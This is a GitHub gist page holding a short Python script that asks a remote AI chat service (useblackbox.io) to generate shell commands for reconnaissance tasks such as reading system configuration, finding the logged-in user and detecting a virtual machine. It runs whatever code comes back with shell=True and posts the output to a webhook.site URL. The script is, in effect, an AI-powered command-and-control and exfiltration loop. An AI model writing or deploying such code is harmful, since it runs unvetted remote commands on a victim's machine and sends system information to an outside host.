Created
September 27, 2023 17:55
-
-
Save JoyGhoshs/940b5ad947a979fa65980d23b3a77c20 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
import os | |
import subprocess | |
import re | |
Instructions = [ | |
"Check system configuration", | |
"Check Current logged in user", | |
"Check if the system is running on a virtual machine", | |
"make a directory called test" | |
] | |
class Worker: | |
def whichOS(): | |
if os.name == "nt": | |
return "cmd" | |
elif os.name == "posix": | |
return "bash" | |
else: | |
"" | |
def commandGen(instruction): | |
endpoint = "https://www.useblackbox.io/chat-request-v4" | |
headers = {"Content-Type": "application/json"} | |
json_data = {"textInput": instruction,"allMessages": [{"user": instruction}],"stream": "","clickedContinue": False} | |
try: | |
response = requests.post(endpoint, headers=headers, json=json_data) | |
return response.json()["response"][0][0] | |
except Exception as e: | |
return "" | |
def webhooksender(data): | |
webhook = "https://webhook.site/8bbf5bd7-cea9-4352-81d4-7f010f1a88f7" | |
requests.post(webhook, data=data) | |
def extractCommand(commanddata): | |
code_block_pattern = r'```(.*?)```' | |
code_blocks = re.findall(code_block_pattern, commanddata, re.DOTALL) | |
for code_block in code_blocks: | |
return code_block.strip() | |
def Run(instruction): | |
instruction = "Generate code to" + instruction + " for " + Worker.whichOS() | |
commanddata = Worker.commandGen(instruction) | |
command = Worker.extractCommand(commanddata).replace("bash", "").replace("cmd", "").replace("powershell", "").replace("sh", "") | |
commandResult = subprocess.run(command, shell=True, capture_output=True) | |
Worker.webhooksender(commandResult.stdout.decode("utf-8")) | |
def main(): | |
for instruction in Instructions: | |
Worker.Run(instruction) | |
if __name__ == "__main__": | |
main() | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment